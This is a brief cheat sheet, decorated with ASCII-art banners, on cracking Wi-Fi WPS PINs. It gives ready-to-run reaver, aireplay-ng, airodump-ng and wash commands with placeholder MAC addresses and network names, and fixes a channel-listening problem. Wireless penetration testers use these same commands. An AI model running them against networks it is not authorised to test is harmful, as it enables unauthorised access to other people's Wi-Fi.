,----.   ,---.          ,-.-.    ,----.
 .-.,.---.   ,-.--` , \.--.'  \  ,--.-./=/ ,/ ,-.--` , \ .-.,.---.
/==/  `   \ |==|-  _.-`\==\-/\ \/==/, ||=| -||==|-  _.-`/==/  `   \
|==|-, .=., ||==|   `.-./==/-|_\ \==\,  \ / ,||==|   `.-|==|-, .=., |
|==|   '='  /==/_ ,    /\==\,   - \==\ - ' - /==/_ ,    |==|   '='  /
|==|- ,   .'|==|    .-' /==/ -   ,|\==\ ,   ||==|    .-'|==|- ,   .'
|==|_  . ,'.|==|_  ,`-./==/-  /\ - |==| -  ,/|==|_  ,`-.|==|_  . ,'.
/==/  /\ ,  /==/ ,     \==\ _.\=\.-\==\  _ / /==/ ,     /==/  /\ ,  )
`--`-`--`--'`--`-----`` `--`        `--`--'  `--`-----```--`-`--`--'
 ,---.--.
/  -_ \==\
|` / \/==/
 \ \ /==/
 /  \==/
/. / \==\
| _ \_/\==\
\ . -  /\==\
'----`-`--`
        ,-.-.  ,---.       ,-,--. ,--.-,,-,--,
,-..-.-./  \==.--.'  \    ,-.'-  _/==/  /|=|  |
|, \=/\=|- |==\==\-/\ \  /==/_ ,_.|==|_ ||=|, |
|- |/ |/ , /==/==/-|_\ | \==\  \  |==| ,|/=| _|
\, ,     _|==\==\,   - \ \==\ -\ |==|- `-' _ |
| -  -  , |==/==/ -   ,| _\==\ ,\|==|  _     |
 \  ,  - /==/==/-  /\ - /==/\/ _ |==|   .-. ,\
 |-  /\ /==/\==\ _.\=\.-\==\ - , /==/, //=/  |
 `--`  `--`  `--`        `--`---'`--`-' `-`--`
=====================================================================


Try to use the -A option with aireplay-ng.


   reaver -i mon0 -b XX:XX:XX:XX:XX:XX -c 11 -e network_name -vv -A
   aireplay-ng -1 30 -a "mac AP" -h "mac client" -e "network name" mon0



Sometimes aireplay-ng listens on the  wrong channel. Simply run airodump-ng once
on the right channel to fix that.

      airodump-ng -c 11 wlan0

Source: http://code.google.com/p/reaver-wps/issues/detail?id=205

__      __          _
\ \    / /__ _  ___| |_
 \ \/\/ // _` |(_-<| ' \
  \_/\_/ \__,_|/__/|_||_|
=========================

Wash detects APs that have WPS on.
    wash -i mon0 -C